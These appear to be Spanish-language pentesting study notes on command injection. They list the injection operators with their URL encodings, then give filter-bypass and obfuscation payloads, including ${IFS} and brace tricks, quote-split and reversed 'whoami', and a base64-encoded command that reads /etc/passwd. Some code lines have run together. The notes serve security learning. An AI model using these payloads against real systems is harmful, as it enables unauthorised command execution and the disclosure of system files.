20 - Inyecciones de Comandos

Las inyecciones ocurren cuando la entrada controlada por el usuario se interpreta como parte de una consulta o código, permitiendo alterar la intención original y ejecutar comandos maliciosos.
Tipos comunes: OS Command Injection, Code Injection, SQL Injection, XSS/HTML Injection.

Detección — Operadores de inyección

  • Operador: Carácter — URL-Encoded — Ejecuta
  • Semicolon: ; — %3b — Ambos
  • New Line: n — %0a — Ambos
  • Background: & — %26 — Ambos (segunda salida primero)
  • Pipe: | — %7c — Ambos (solo se muestra la segunda)
  • AND: && — %26%26 — Ambos (si el primero tiene éxito)
  • Sub-Shell: `` — %60%60 — Linux
  • Sub-Shell: $() — %24%28%29 — Linux

Bypass de Filtros

Bypass de espacios

bash
127.0.0.1%0awhoami           # nueva línea127.0.0.1%0a%09whoami        # tab127.0.0.1%0a${IFS}whoami     # $IFS = espacio/tab127.0.0.1%0a{ls,-la}         # brace

Bypass de otros caracteres (Linux)

bash
# Slash: extraer el primer carácter de $PATH${PATH:0:1}# ;  extraer de $LS_COLORS${LS_COLORS:10:1}# Windows: slash desde %HOMEPATH%$ echo %HOMEPATH:~6,-11%

Character Shifting

bash
$ echo $(tr '!-}' '"-~' <<<[)   # desplaza [ (91) a \ (92)

Bypass de comandos (whoami, ls)

terminal
w'h'o'am'i      # comillaswho$@ami        # parámetro posicionalw\ho\am\i       # backslash

Ofuscación avanzada

bash
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")$(a="WhOaMi";printf %s "${a,,}")$(rev<<<'imaohw')                        # revertidoiex "$('imaohw'[-1..-20] -join '')"      # Windows revertido# B64 Linuxbash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)# B64 Windowsiex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))"